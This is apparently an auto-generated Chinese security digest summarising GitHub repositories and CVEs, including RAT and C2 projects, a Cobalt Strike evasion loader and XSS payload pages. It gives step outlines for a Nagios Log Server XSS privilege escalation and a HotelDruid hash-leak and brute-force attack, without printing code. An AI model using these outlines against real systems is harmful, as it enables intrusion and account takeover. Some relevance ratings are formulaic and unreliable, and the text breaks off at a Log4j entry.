🔍 关键发现

序号 发现内容
1 C2服务器规范定义了核心功能和设计目标
2 包含dummy前端，为定制化C2提供基础
3 与C2关键词高度相关，具有研究价值
4 项目处于早期阶段，未包含实际漏洞利用

🛠️ 技术细节

C2服务器规范包括端点通信、指令发送、设置调整、管理GUI、数据持久化等功能

采用了Next.js框架构建dummy前端

技术细节集中在C2服务器的设计和前端框架的选择上

🎯 受影响组件

• C2服务器
• 前端GUI (Next.js)

⚡ 价值评估

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该项目明确以C2为核心功能，与搜索关键词高度相关。尽管目前处于早期阶段，但C2的设计和相关前端的加入具有潜在的研究价值。 考虑到安全研究的需求，构建C2本身就是一种安全研究行为，也可能用于漏洞利用研究。

eobot-rat-c2 - Android RAT C2服务器

📌 仓库信息

属性 详情
仓库名称 eobot-rat-c2
风险等级 HIGH
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是Eobot RAT C2服务器项目，专注于开发用于Android远程访问木马（RAT）的命令与控制（C2）服务器。它旨在帮助安全研究人员和开发人员了解Android恶意软件和僵尸网络的运作方式。本次更新主要是README.md文件的修改，重申了项目的目的和功能，并加入了发布版本的链接。鉴于C2服务器的性质，以及作者的描述，该项目可能包含恶意软件的开发和控制代码。

🔍 关键发现

序号 发现内容
1 C2服务器项目
2 针对Android RAT
3 用于恶意软件控制
4 更新README.md，强调项目目的

🛠️ 技术细节

项目专注于开发Android RAT的C2服务器。

C2服务器通常用于控制恶意软件和僵尸网络，这意味着该项目可能涉及到恶意代码的开发和使用。

🎯 受影响组件

• Android系统
• 恶意软件控制基础设施

⚡ 价值评估

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该项目提供了C2服务器的开发，可能用于恶意软件的控制，对安全研究具有一定的价值，但同时也存在被滥用的风险。由于其性质，即使是简单的C2框架也值得关注。

xlab-ai-security - AI安全研究工具

📌 仓库信息

属性 详情
仓库名称 xlab-ai-security
风险等级 MEDIUM
安全类型 安全研究
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 2
  • 变更文件数: 1

💡 分析概述

该仓库专注于AI安全研究，包含用于可视化张量、ReLU和WigglyReLU激活函数以及梯度的代码。更新内容包括增加了绘制ReLU、WigglyReLU及其梯度热图的功能，这有助于研究人员更好地理解神经网络的行为和潜在的安全漏洞。虽然该项目本身不直接提供漏洞利用，但此类可视化工具可以帮助研究人员发现神经网络中的异常行为，进而辅助安全研究。由于更新内容增强了对神经网络内部机制的理解，间接提高了对潜在安全风险的识别能力，因此具有一定的价值。

🔍 关键发现

序号 发现内容
1 提供了用于AI模型可视化的工具。
2 增加了ReLU、WigglyReLU及其梯度热图的可视化功能。
3 有助于研究人员分析神经网络的行为。
4 间接提升了对AI安全风险的识别能力。

🛠️ 技术细节

新增了plot_tensors函数，用于可视化张量。

增加了ReLU和WigglyReLU激活函数以及梯度热图的绘制功能。使用matplotlib进行绘图。

代码实现涉及numpy数组操作和matplotlib绘图。

🎯 受影响组件

• xlab-python-package
• 神经网络模型
• matplotlib

⚡ 价值评估

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虽然不直接提供漏洞利用代码，但该更新提供了有价值的可视化工具，能够帮助研究人员更好地理解神经网络的内部机制，进而发现潜在的安全漏洞。这类工具对AI安全研究具有积极的促进作用。

FlashAudit - AI驱动的智能合约审计平台

📌 仓库信息

属性 详情
仓库名称 FlashAudit
风险等级 HIGH
安全类型 安全工具/安全研究
更新类型 代码更新

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 11

💡 分析概述

该仓库是一个基于AI的智能合约安全审计平台，名为FlashAudit。它提供了现代化的Web界面和强大的后端服务，旨在为多链上的智能合约提供企业级的安全分析。此次更新主要集中在项目的代码结构、环境配置和核心功能实现上，包括了前端和后端的搭建。更新包括了对审计控制器、中间件、服务以及日志模块的添加和修改。此外，README文档也被更新，提供了更详细的项目结构和快速开始的说明。由于该项目集成了AI技术用于漏洞检测，所以与AI Security高度相关，且在安全审计领域有创新，因此具有较高的研究价值。

🔍 关键发现

序号 发现内容
1 AI驱动的智能合约漏洞检测
2 支持多链和多输入方式的智能合约审计
3 包含前端、后端和关键的服务层，例如审计引擎和LLM服务
4 集成了OpenRouter的LLM模型进行漏洞分析
5 代码中使用了速率限制、CORS 和 helmet 等安全措施

🛠️ 技术细节

前端使用React + TypeScript构建，提供用户界面和交互。

后端使用Node.js + Express构建，提供RESTful API。

审计引擎（auditEngine.js）是核心，负责调用contractParser、LLMService和web3Service来分析合约。

llmService.js集成了OpenRouter API，用于AI分析。

teeMonitor.js实现了审计日志记录功能。

Web3Service用于与区块链交互。

🎯 受影响组件

• 前端React应用
• 后端Node.js API服务
• 审计引擎
• LLM服务
• 区块链交互组件

⚡ 价值评估

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FlashAudit项目高度相关于AI Security关键词，它利用AI技术进行智能合约的漏洞检测，提供了创新的安全审计方法。 该项目实现了独特安全检测的功能，并且包含了全面的技术细节和详细的配置说明。同时该仓库的代码质量较高，结构清晰，具备较高的研究和应用价值。

eulers-shield - AI治理的去中心化金融系统

📌 仓库信息

属性 详情
仓库名称 eulers-shield
风险等级 MEDIUM
安全类型 安全功能
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 3

💡 分析概述

该仓库是一个去中心化的、由AI驱动的金融系统，旨在通过区块链、机器学习和网络安全相结合的方式稳定Pi币的价值。更新内容主要集中在AI治理模块的创建，包括使用Solidity智能合约和离线LLM代理实现完全自主的、AI增强的DAO治理。具体包括：创建了AI_Governance.md文档，其中详细介绍了该模块的概述、结构、设置以及安全注意事项；增加了requirements.txt文件，包含了项目所需的Python依赖；创建了dao_abi.json文件，定义了与DAO交互的ABI接口。由于其涉及智能合约、AI代理，存在安全风险，需要关注。

🔍 关键发现

序号 发现内容
1 基于AI的DAO治理系统
2 使用Solidity智能合约和离线LLM代理
3 新增了AI治理相关的文档和依赖
4 项目包含智能合约，存在潜在安全风险

🛠️ 技术细节

使用Solidity智能合约(EulersShieldDAO.sol)进行提案、投票和AI分析。

AI代理(ai_governance_agent.py)用于分析提案并在链上发布摘要。

使用dao_abi.json进行合约交互

项目依赖 web3, python-dotenv, openai等库

🎯 受影响组件

• EulersShieldDAO.sol 智能合约
• ai_agents/ai_governance_agent.py
• dao_abi.json

⚡ 价值评估

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项目涉及智能合约和AI治理，其中智能合约存在安全漏洞的风险，且AI代理如果设计不当也可能被攻击，因此具有一定的安全价值。

koneko - Cobalt Strike Shellcode Loader

📌 仓库信息

属性 详情
仓库名称 koneko
风险等级 MEDIUM
安全类型 安全研究
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

Koneko是一个Cobalt Strike shellcode加载器，具备多种高级规避功能。本次更新主要修改了README.md文件，更新了项目描述和功能介绍，并增加了对规避功能的说明。虽然更新内容本身没有直接的代码变更，但是项目的功能和用途与安全测试和红队行动高度相关，因此该更新是值得关注的。

🔍 关键发现

序号 发现内容
1 Cobalt Strike shellcode加载器
2 具备多种高级规避功能
3 README.md更新，项目描述和功能介绍
4 针对安全测试和红队行动

🛠️ 技术细节

Koneko是一个用于加载Cobalt Strike shellcode的工具，旨在绕过安全防御机制。

更新主要集中在README.md的改进，包括更详细的项目描述和功能介绍。

🎯 受影响组件

• Cobalt Strike
• 安全防御系统

⚡ 价值评估

展开查看详细评估

Koneko作为一个shellcode加载器，旨在绕过安全防御机制。虽然本次更新主要是文档更新，但是该项目本身就与安全领域高度相关，并且提供了规避安全防御的功能，因此具有一定的价值。

CVE-2025-29471 - Nagios Log Server XSS 提权

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-29471
风险等级 CRITICAL
利用状态 POC可用
发布时间 2025-06-21 00:00:00
最后更新 2025-06-21 04:54:13

📦 相关仓库

💡 分析概述

该仓库提供了关于 Nagios Log Server 中存储型 XSS 漏洞的详细信息，该漏洞可导致权限提升。仓库包含 PoC 和漏洞利用的详细步骤。 仓库的核心在于提供了一个 XSS 攻击向量，通过在用户的配置文件中注入恶意 JavaScript 代码，当管理员查看审计日志时触发，从而创建一个具有管理员权限的新用户。该漏洞影响 Nagios Log Server 2024R1.3.1 及更低版本。更新内容主要集中在 README.md 文件中，增加了 PoC 演示视频链接、漏洞描述和利用步骤。PoC 演示了攻击者如何注入恶意脚本，在管理员查看审计日志时，创建新的管理员账户。 通过分析提交的代码变更，可以确定漏洞的利用方式和详细步骤，以及攻击所需的 URL 和 payload。

🔍 关键发现

序号 发现内容
1 Nagios Log Server 存储型 XSS 漏洞
2 攻击者通过注入恶意 JavaScript 代码实现权限提升
3 利用该漏洞可以创建新的管理员账户
4 漏洞影响 Nagios Log Server 2024R1.3.1 及更低版本
5 提供详细的 PoC 和利用步骤

🛠️ 技术细节

漏洞原理：攻击者在 Nagios Log Server 的用户资料中的 email 字段注入恶意 JavaScript 代码。当管理员查看审计日志时，这段脚本被执行，从而触发权限提升。

利用方法：1. 登录非管理员用户；2. 访问 profile/update 端点；3. 在 email 字段注入恶意脚本；4. 等待管理员查看日志，触发脚本，创建新的管理员账户。

修复方案：升级到最新版本，或者对用户输入进行严格的过滤和转义，以防止 XSS 攻击。

🎯 受影响组件

• Nagios Log Server 2024R1.3.1 及更低版本

⚡ 价值评估

展开查看详细评估

该漏洞是存储型 XSS，影响广泛使用的 Nagios Log Server，并且提供了详细的利用方法和 PoC，可以用于权限提升。

xss-test - XSS Payload测试平台更新

📌 仓库信息

属性 详情
仓库名称 xss-test
风险等级 MEDIUM
安全类型 安全研究
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 2

💡 分析概述

该仓库是一个用于测试和演示XSS漏洞的平台，通过GitHub Pages托管XSS payloads，主要面向安全研究人员、漏洞赏金猎人和渗透测试人员。本次更新移除了FUNDING.yml文件，并修改了README.md文件，增加了新的XSS payload测试示例以及其他补充说明，其中README.md文件是核心变更，新增了XSS payload 测试样例和XSS利用方法，并增加了对XSS的描述和测试方法，对安全研究有积极作用。

🔍 关键发现

序号 发现内容
1 XSS Payload测试平台
2 更新README.md文件
3 新增XSS payload测试样例和说明
4 演示XSS利用方法

🛠️ 技术细节

README.md 文件中新增了XSS测试用例，可能包含反射型XSS、存储型XSS等多种测试场景。

展示了如何在GitHub Pages上部署XSS payloads。

🎯 受影响组件

• GitHub Pages
• Web浏览器

⚡ 价值评估

展开查看详细评估

增加了XSS测试用例和演示，有助于安全研究人员进行XSS漏洞的发现和利用测试，对理解XSS攻击原理和防御有积极作用。

Spear - 安全渗透工具箱框架，GUI界面

📌 仓库信息

属性 详情
仓库名称 Spear
风险等级 LOW
安全类型 安全工具
更新类型 功能更新

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个基于GO和Wails框架的安全渗透测试工具箱框架。它提供了GUI界面，方便用户管理和运行安全工具。V5版本使用Wails重构，增加了拖动排序、搜索、添加工具等功能。V2-V4版本通过YAML文件管理工具，并支持添加、删除和修改工具配置。更新内容包括界面优化、新增Java17环境、以及编译脚本的修改。该工具箱主要目的是为安全渗透测试人员提供一个方便的工具管理平台。

🔍 关键发现

序号 发现内容
1 基于GO和Wails框架的安全工具箱
2 GUI界面，方便工具管理
3 支持拖动排序、搜索、添加、删除工具
4 集成了Java环境，支持多种工具运行方式
5 提供了BurpSuite、蚁剑等工具的资源文件

🛠️ 技术细节

使用GO和Wails构建GUI界面，Wails用于构建前端界面，实现了拖动排序、搜索等功能

通过YAML文件管理工具配置，可以动态加载和管理工具

支持Java、Python、GUI程序的运行

提供编译脚本，支持Mac和Windows平台的构建

🎯 受影响组件

• GO
• Wails
• Java Runtime Environment
• YAML文件
• BurpSuite
• AntSword

⚡ 价值评估

展开查看详细评估

该仓库与安全工具关键词高度相关，提供了GUI界面，方便用户管理和运行安全工具，属于安全工具类。虽然更新内容主要集中在UI优化和功能完善，但其核心功能是为渗透测试人员提供工具管理平台，具有一定的实用价值。

web-vulnerability-scanner - Web安全扫描器: 扫描网站安全

📌 仓库信息

属性 详情
仓库名称 web-vulnerability-scanner
风险等级 MEDIUM
安全类型 安全工具
更新类型 新增文件

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 2

💡 分析概述

该仓库是一个基于Python的Web漏洞扫描器，主要功能包括检测网站缺失的安全头、SSL/TLS问题以及公开的CVE。 仓库整体功能聚焦于Web安全评估，特别是针对常见Web安全配置进行检查。 这次更新引入了example_output.txt文件，展示了扫描结果的示例，并新增了scanner.py文件，该文件实现了安全头检测、SSL/TLS证书检查和CVE查找功能。 更新后的scanner.py，功能可以用于检查web网站的安全头，SSL/TLS相关配置和存在的CVE。

🔍 关键发现

序号 发现内容
1 检测缺失的安全头。
2 检查SSL/TLS配置问题。
3 查找与网站相关的CVE。
4 与安全工具相关性高
5 提供了基础的Web安全扫描功能

🛠️ 技术细节

使用Python编写，依赖requests, ssl, socket, json, urllib.parse等库

check_security_headers函数用于检测安全头，返回缺失的安全头信息。

check_ssl_tls函数用于检查SSL/TLS证书的有效性。

代码中通过获取网页的响应头和SSL证书信息来检测安全配置。

🎯 受影响组件

• Web服务器
• 网站应用程序

⚡ 价值评估

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仓库实现了Web安全扫描功能，与关键词'security tool'高度相关，提供的功能能帮助用户评估Web应用程序的安全状况。 虽然功能较为基础，但对于安全评估有一定的参考价值。

Chanakya - 安全侦察与SQLi自动化工具

📌 仓库信息

属性 详情
仓库名称 Chanakya
风险等级 MEDIUM
安全类型 安全工具
更新类型 功能更新

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 6

💡 分析概述

Chanakya是一个基于Python的渗透测试工具，集成了侦察、Google dorking、SQL注入扫描和端口/服务分析。本次更新主要增加了对SerpAPI、ScrapingAnt和Google CSE的支持，改进了dorking的功能，并修复了潜在的自动化阻塞问题。更新还包括了新的bug报告和功能请求模板，以及一个安全策略文档。由于该工具提供自动化的安全测试功能，且与搜索关键词高度相关，因此具有一定的价值。本次更新主要优化了dorking功能，增加了API支持，整体改进了可用性，并增加了安全相关的文档。

🔍 关键发现

序号 发现内容
1 结合侦察、dorking、SQL注入扫描和端口扫描的安全工具
2 使用 SerpAPI、ScrapingAnt、Google CSE进行dorking，增强了功能
3 提供SQL注入自动化扫描功能，有助于发现漏洞
4 更新了安全策略文档，提高了安全性

🛠️ 技术细节

使用Python实现，整合了nmap, requests, urllib3, sqlmap,等模块

通过API调用实现自动化dorking和SQL注入检测

使用.env文件存储API密钥，提高安全性

使用subprocess调用sqlmap进行SQL注入测试

🎯 受影响组件

• Python
• nmap
• sqlmap
• SerpAPI
• ScrapingAnt
• Google CSE

⚡ 价值评估

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Chanakya是一款与安全工具相关的项目，它结合了侦察、漏洞扫描和利用等多种功能，尤其在自动化SQL注入检测方面具有实用价值。更新增加了对SerpAPI、ScrapingAnt和Google CSE的支持，提高了工具的可用性。因此，该项目与搜索关键词高度相关，且具有一定的安全研究价值。

scan-security-mcp-server - MCP Server安全扫描工具

📌 仓库信息

属性 详情
仓库名称 scan-security-mcp-server
风险等级 MEDIUM
安全类型 安全工具
更新类型 新增

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 297

💡 分析概述

该仓库是一个MCP Server的安全扫描工具，用于扫描MCP服务器的安全性。它包含多个Python脚本，用于实现服务器的扫描、漏洞检测等功能。更新内容包括多个Python脚本，如ast_debug_server.py.txt, check_tool_definitions.py, extract_mcp_tools.py，和一些配置文件。 其中check_tool_definitions.py引入了安全扫描的规则定义，表明该工具具备漏洞检测的功能。但初次提交缺乏明确的漏洞利用代码或POC，更多的是配置和扫描框架。但该仓库提供了MCP server的安全扫描功能，并包含了安全规则定义，因此具有一定的安全研究价值。

🔍 关键发现

序号 发现内容
1 提供MCP Server的安全扫描功能
2 包含安全规则定义，可用于漏洞检测
3 代码结构表明具备扩展性
4 与'security tool'关键词高度相关

🛠️ 技术细节

使用Python编写，包含HTTP server, SSE等组件

check_tool_definitions.py定义了安全扫描规则，使用正则表达式匹配漏洞特征

🎯 受影响组件

• MCP Server
• Python环境

⚡ 价值评估

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仓库与'security tool'关键词高度相关，核心功能为MCP Server安全扫描，虽然缺乏实际漏洞利用代码，但其安全规则的定义和扫描框架具有研究价值。

SnapGuard - 增强快照工具安全

📌 仓库信息

属性 详情
仓库名称 SnapGuard
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 2
  • 变更文件数: 7

💡 分析概述

该仓库是一个用于Linux系统快照管理的GUI工具。本次更新主要集中在增强SnapGuard的功能和安全性，包括了加密密钥生成、存储，增加了salt的使用，并添加了单元测试。更新后对配置文件、日志文件和快照目录的路径进行了修改。 此次更新提升了快照管理的安全性，特别是加密相关方面的增强，但未发现明显的漏洞。

🔍 关键发现

序号 发现内容
1 增加了加密功能
2 修改了配置文件、日志文件和快照目录的路径
3 引入了单元测试

🛠️ 技术细节

在snapguard.py中，增加了密钥生成和存储机制，使用 PBKDF2HMAC 进行密钥推导。引入了salt，增强了密钥的安全性。使用cryptography库进行加密操作。

在snapshot_manager.py 和 utils.py 中，修改了配置文件、日志文件和快照目录的路径，影响了配置文件的存储位置和日志文件的生成位置。

增加了单元测试test_snapguard.py，包含加密、签名相关的测试用例

🎯 受影响组件

• snapguard.py
• snapshot_manager.py
• utils.py

⚡ 价值评估

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虽然本次更新未直接修复安全漏洞，但增强了加密功能，并引入了单元测试，提升了代码质量和安全性。修改文件路径影响了相关配置和日志文件，需要关注。

ARPFloodTool - ARP泛洪攻击工具

📌 仓库信息

属性 详情
仓库名称 ARPFloodTool
风险等级 MEDIUM
安全类型 漏洞利用
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库提供了一个Python脚本ARPFloodTool，用于执行ARP泛洪攻击，通过发送伪造的ARP回复来干扰Wi-Fi网络。本次更新主要修改了README.md文档，包括了工具的介绍、使用方法、注意事项和免责声明等。ARP泛洪攻击是一种常见的网络攻击手段，攻击者通过伪造ARP报文，将目标设备的MAC地址与错误的IP地址进行绑定，导致网络中断或流量劫持等问题。 该工具可用于渗透测试，帮助安全研究人员评估网络安全状况。

🔍 关键发现

序号 发现内容
1 ARPFloodTool是一个用于执行ARP泛洪攻击的Python脚本。
2 更新内容主要集中在README.md文档的修改，提供了更详细的工具说明和使用方法。
3 ARP泛洪攻击可能导致网络中断或流量劫持等安全问题。
4 该工具可用于网络安全测试，评估网络安全状况。

🛠️ 技术细节

该工具通过发送伪造的ARP回复包来实现ARP泛洪攻击。

更新后的README.md文档详细介绍了工具的安装、使用方法、攻击原理和安全注意事项。

攻击者需要获取网络接口权限才能运行该工具。

🎯 受影响组件

• Wi-Fi网络
• 网络设备

⚡ 价值评估

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ARP泛洪攻击是一种常见的网络攻击手段，该工具可以用于渗透测试和安全评估，帮助安全研究人员了解和验证网络安全漏洞。

Port-Swigger-web-security-labs - PortSwigger Labs Web安全Write-ups

📌 仓库信息

属性 详情
仓库名称 Port-Swigger-web-security-labs
风险等级 LOW
安全类型 安全研究
更新类型 新增

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是针对PortSwigger Web Security Academy的实验室练习的解决方案和详细分析。它提供了OWASP Top 10漏洞的write-ups，包括XSS, SQLi, CSRF等，并涵盖了工具使用和实际操作的技巧。本次更新增加了README.md文件，详细介绍了仓库内容、涵盖的实验室主题、使用工具和write-up的结构。由于仓库目的是学习和复现web安全漏洞，因此具有一定的学习和参考价值。

🔍 关键发现

序号 发现内容
1 提供了Web安全实验室的write-ups和解决方案
2 涵盖OWASP Top 10漏洞，如XSS, SQLi, CSRF等
3 包含工具使用和操作技巧
4 仓库与安全学习和渗透测试高度相关

🛠️ 技术细节

包含实验室的标题和类别

问题总结

思路分析

逐步的利用方法

关键要点和经验总结

🎯 受影响组件

• Web应用程序
• Burp Suite
• Dev Tools

⚡ 价值评估

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该仓库提供了Web安全实验室的实践解决方案和详细的分析，与安全工具和渗透测试高度相关，对于学习Web安全具有参考价值。虽然没有直接的漏洞利用代码，但write-ups详细描述了漏洞的利用方法和步骤，提供了实用的安全知识。

LegitURL - iOS链接安全分析工具更新

📌 仓库信息

属性 详情
仓库名称 LegitURL
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 2
  • 变更文件数: 7

💡 分析概述

LegitURL是一个在iOS设备上运行的链接安全分析工具，其主要功能是对URL进行安全评估，类似于营养标签。本次更新增加了对HTML MetaRefresh标签的支持，并添加了一个新的示例，同时更新了README.md和TECHNICAL_OVERVIEW.md中的版本信息。此外，对非字母数字路径部分的风险等级从critical调整为suspicious。该项目没有使用AI，而是基于确定性启发式方法。更新包含对URL分析逻辑的调整，特别是对重定向行为的分析，并增加了新的安全示例。

🔍 关键发现

序号 发现内容
1 增加了对HTML MetaRefresh标签的支持，增强了对重定向行为的分析能力
2 更新了示例，可能包含新的恶意链接样本。
3 修改了非字母数字路径部分的风险等级，提高了对潜在恶意URL的警惕性
4 更新了版本信息

🛠️ 技术细节

增加了对HTML MetaRefresh标签的检测和分析，MetaRefresh是一种常见的重定向技术，攻击者可能利用它进行钓鱼或恶意软件分发。

更新了示例，可能包括了对新的钓鱼网站的检测和分析，这有助于提高工具的检测能力。

修改了非字母数字路径部分的风险等级，这表明开发人员正在加强对URL路径中异常字符的检测。

🎯 受影响组件

• iOS App

⚡ 价值评估

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本次更新增强了对URL重定向行为的分析，并改进了对潜在恶意URL的检测。这有助于提高用户识别钓鱼和恶意链接的能力。更新的示例也可能包含新的攻击样本，这有助于提升工具的检测能力和实用性。

NeuroTrace - AI Agent安全与可观测平台

📌 仓库信息

属性 详情
仓库名称 NeuroTrace
风险等级 MEDIUM
安全类型 安全工具/安全研究
更新类型 文档更新

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

NeuroTrace是一个针对AI Agent的安全和可观测性平台，它提供实时Agent代码流可视化、AI安全评估（包括漏洞检测和风险建议）、详细的流程日志、LLM和Chain的思维捕捉，以及节点检查面板。更新内容主要集中在README.md文件的修改，用于增强项目描述，添加了截图，并细化了技术栈和启动说明。该项目能够自动检测AI Agent代码中的常见漏洞（如SQLi、命令注入等），并提供漏洞建议和风险等级评估，具有安全研究价值。由于项目核心功能是安全相关的，并且针对AI Agent，因此具有较高的研究价值。

🔍 关键发现

序号 发现内容
1 实时AI Agent代码流可视化
2 AI Agent代码漏洞自动检测和风险评估
3 提供详细的流程日志和节点检查面板
4 与AI安全关键词高度相关

🛠️ 技术细节

前端使用Next.js, TypeScript, Tailwind CSS和ReactFlow实现UI

后端使用Python, LangGraph和NeuroTrace Library

API使用Next.js API Routes

使用JSON文件存储数据

🎯 受影响组件

• LangGraph
• Next.js
• Python backend
• OpenAI API (如果使用AI辅助功能)

⚡ 价值评估

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该项目与AI Security高度相关，核心功能是针对AI Agent的安全评估，包括漏洞检测和风险评估，提供了安全研究价值。

ai-security-guide - AI安全研究与实践指南

📌 仓库信息

属性 详情
仓库名称 ai-security-guide
风险等级 MEDIUM
安全类型 安全研究/漏洞利用/安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 5

💡 分析概述

该仓库是一个关于AI安全和AI for Security的指南，主要收录了相关论文和研究。仓库更新增加了多篇论文的引用，这些论文涉及AI Agent的安全、漏洞评估、红队对抗、以及AI在安全领域的应用。更新内容主要集中在安全研究领域，包括AI Agents安全评估、漏洞挖掘和防御等方面。 其中，AIRTBench 旨在衡量 LLM 的自主 AI 红队能力，并使用了 ctf、提示注入、模型规避等技术；BountyBench 旨在评估 AI Agent 攻击者和防御者在现实世界网络安全系统中的价值和影响，涉及漏洞悬赏等。CyberGym 专注于评估 AI Agent 在真实世界漏洞中的网络安全能力。APPATCH 则是关于使用 LLM 进行漏洞补丁的自动化。

🔍 关键发现

序号 发现内容
1 收录了多篇AI安全相关的论文，涵盖AI Agent安全、漏洞挖掘、对抗等。
2 增加了AIRTBench论文，用于评估LLM红队能力，涉及CTF、提示注入、模型规避等。
3 BountyBench 论文，评估 AI Agent 在漏洞悬赏方面的价值。
4 CyberGym 专注于评估 AI Agent 在真实世界漏洞中的网络安全能力。
5 APPATCH 论文，涉及使用LLM进行漏洞补丁的自动化。

🛠️ 技术细节

AIRTBench: 提出了衡量 LLM 红队能力的 benchmark，涉及 CTF 挑战、提示注入攻击、模型规避等技术，可以用于评估 LLM 在对抗攻击中的表现。

BountyBench: 评估了AI Agent在漏洞悬赏场景下的表现，包括寻找和利用漏洞，并评估其价值。

CyberGym: 专注于使用真实世界漏洞来评估AI Agent的安全性，提供了一个基于实际环境的测试平台。

APPATCH: 探讨了使用 LLM 自动化进行漏洞补丁的方法，可能涉及代码分析、漏洞定位和补丁生成等技术。

🎯 受影响组件

• LLM 模型
• AI Agent
• 网络安全系统
• 软件漏洞

⚡ 价值评估

展开查看详细评估

更新内容涉及了AI安全领域的前沿研究，包括漏洞评估、红队对抗、漏洞修复等方面，对理解和应对AI安全风险具有重要参考价值，尤其是对LLM模型和AI Agent的安全防护具有指导意义。

CognitiveCraft - AI驱动的模块化认知架构

📌 仓库信息

属性 详情
仓库名称 CognitiveCraft
风险等级 LOW
安全类型 安全研究
更新类型 新增代码

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 75

💡 分析概述

该仓库名为CognitiveCraft，是一个用Python构建的模块化认知架构工具包，旨在构建具有集成感知、记忆、推理和情感系统的人工智能。 该项目提供了一个组件化的框架，用于组装不同的认知能力，例如注意力、记忆、推理和学习等，并具有即插即用的简单性。 代码库结构清晰，包含核心模块、记忆模块、感知模块、情感模块、目标管理模块、理论模块、社交模块和可视化模块，涵盖了认知架构的各个方面。 该次更新增加了大量的代码文件，实现了认知Agent的基本框架和核心模块，如架构、注意力、推理、学习、记忆等，为后续开发奠定了基础。 仓库与AI Security相关，因为它涉及AI系统的安全性。 由于该仓库的目标是安全研究和开发，因此对安全研究人员来说是有价值的，可能涉及漏洞的挖掘和利用，从而帮助提升AI系统的安全性。

🔍 关键发现

序号 发现内容
1 模块化认知架构，易于扩展和定制。
2 涵盖感知、记忆、推理、情感等多个认知模块。
3 具有环境连接器，可与游戏、模拟和现实世界传感器交互。
4 与AI安全领域相关，潜在的安全研究价值。
5 与搜索关键词AI Security高度相关，体现在核心功能上

🛠️ 技术细节

该项目基于Python实现，使用了模块化的设计，方便扩展和修改。

实现了核心的认知Agent框架，包括架构、注意力、推理、学习等模块。

包含了记忆系统、感知系统、情感系统等多个子系统，每个子系统都具有特定的功能。

🎯 受影响组件

• agent.py
• core/*.py
• memory/*.py
• perception/*.py
• emotions/*.py
• goals/*.py
• theory_of_mind/*.py
• social/*.py
• visualization/*.py
• environments/*.py

⚡ 价值评估

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该仓库与AI Security关键词高度相关，因为它专注于构建认知架构，涉及到AI系统的安全性。该项目提供了一个基础框架，后续可能被用于安全研究、漏洞挖掘和渗透测试等领域，具有较高的研究价值。

CVE-2025-44203 - HotelDruid敏感信息泄露和DoS

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-44203
风险等级 HIGH
利用状态 漏洞利用可用
发布时间 2025-06-21 00:00:00
最后更新 2025-06-21 07:45:50

📦 相关仓库

💡 分析概述

该仓库提供了HotelDruid 3.0.0/3.0.7版本中存在的敏感信息泄露和DoS漏洞的利用代码。 主要功能包括：1. exploit.py: 用于发送大量POST请求，尝试触发敏感信息泄露。2. brute.py: 用于根据获取的hash和salt，暴力破解密码。代码更新主要集中在README.md文件的更新，增加了关于漏洞的链接和利用说明，以及调整了措辞。漏洞利用方法是发送POST请求到creadb.php文件，通过SQL错误消息泄露敏感信息，例如用户名、密码hash和salt。 如果密码强度不足，攻击者可以通过暴力破解获得明文密码。 风险在于敏感信息泄露可能导致未授权访问和DoS攻击。 该漏洞存在于HotelDruid 3.0.0和3.0.7版本，并且可能影响其他版本。

🔍 关键发现

序号 发现内容
1 HotelDruid 3.0.0/3.0.7存在敏感信息泄露
2 通过发送POST请求触发漏洞
3 可利用SQL错误消息泄露敏感信息
4 提供exploit.py和brute.py两个利用脚本
5 管理员密码可能被暴力破解

🛠️ 技术细节

漏洞原理：通过向creadb.php发送大量POST请求，利用SQL错误信息泄露敏感信息，包括用户名、密码哈希和salt。

利用方法：使用exploit.py发送大量请求触发信息泄露，然后使用brute.py暴力破解密码。

修复方案：升级到修复版本。加强密码策略，避免弱密码。在生产环境中限制对creadb.php的访问。

🎯 受影响组件

• HotelDruid 3.0.0
• HotelDruid 3.0.7

⚡ 价值评估

展开查看详细评估

该CVE存在POC代码（exploit.py），描述了具体的利用方法，明确了受影响的组件版本，并且能导致敏感信息泄露，因此判断为有价值的漏洞。

CVE-2021-44228 - Log4j JNDI注入漏洞复现环境

📌 漏洞信息

属性 详情
CVE编号 CVE-2021-44228
风险等级 CRITICAL
利用状态 漏洞利用可用
发布时间 2025-06-21 00:00:00
最后更新 2025-06-21 07:44:44

📦 相关仓库

💡 分析概述

